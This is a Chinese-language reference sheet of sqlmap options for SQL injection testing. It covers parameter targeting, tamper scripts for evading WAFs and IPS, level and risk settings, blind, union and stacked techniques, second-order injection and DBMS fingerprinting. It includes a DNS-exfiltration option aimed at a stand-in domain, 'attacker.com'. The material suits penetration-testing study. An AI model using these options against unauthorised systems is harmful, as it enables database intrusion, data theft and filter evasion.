SQLMAP INJECTION
-p
指定扫描的参数,使--level失效
-p "user-agent,referer"
--skip
排除指定的扫描参数
--level=5 ---skip="id,user-agent"
URI注入点
sqlmap- u "http://targeturl/param!value*/param2/value2/"
--dbms="数据库类型<版本号>"
指定数据库,提高扫描发现的效率
--os=""
Linux Windows
--invalid-bignum/--invalid-logical
通常sqlmap使用负值使参数取值失效
bignum使用大数使参数值失效
logical使用布尔判断使参数失效
--no-cast
默认情况下,榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果
老版本mysql需要开启
--no-escape
默认情况下,出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串,本参数会关闭此功能
--prefix/--suffix
前缀 后缀 需要完整闭合的时候 后边无法注释的时候
--tamper
混淆脚本,用于绕过应用层过滤、IPS、WAF
可以用多个脚本
--tamper="脚本名1,脚本名2,脚本名3"
DETECTION 检测
--level
1-5级(默认1)
/usr/share/sqlmap/xml/payloads
--risk
1-4(默认1/无害)
Risk升高可造成数据被篡改等风险(update)
--string 看到指定字符串,这是真
--not-string 看不到指定字符串,是真
--regexp 正则过滤
--code 返回状态码判断
--text-only 根据内容判断
--titles 根据标题判断
布尔注入检测,依据返回页面内容判断逻辑真假,但是有线页面随时间阀值变化,需要认为指定字符串判断真假
TECHNIQUE 技术
默认使用全部
B:Boolean-based blind
E:Error-based
U:Union query-based
S:Stacked queries(文件系统、操作系统、注册表必须)
T:Time-based blind
--time-sec 基于时间的注入检测相应延迟时间(默认5秒)
--union-clos
默认联合查询1-10列,随--level增加最多支持50列
--union-char
联合查询默认使用null,极端情况下null可能失败,此时可以手动执行数值
--union-char 123
--dns-domain
攻击者控制了某dns服务器,使用该功能可以提高数据榨取的效率
--dns-domain attacker.com
--second-order
在一个界面注入的结果,从另外一个界面体现出来
--second-order http://www.1.1.1.1/b.php
FINGERPRINT
-f/--fingerprint
-b/--banner
数据库管理系统指纹信息
DBMS 操作系统 架构 补丁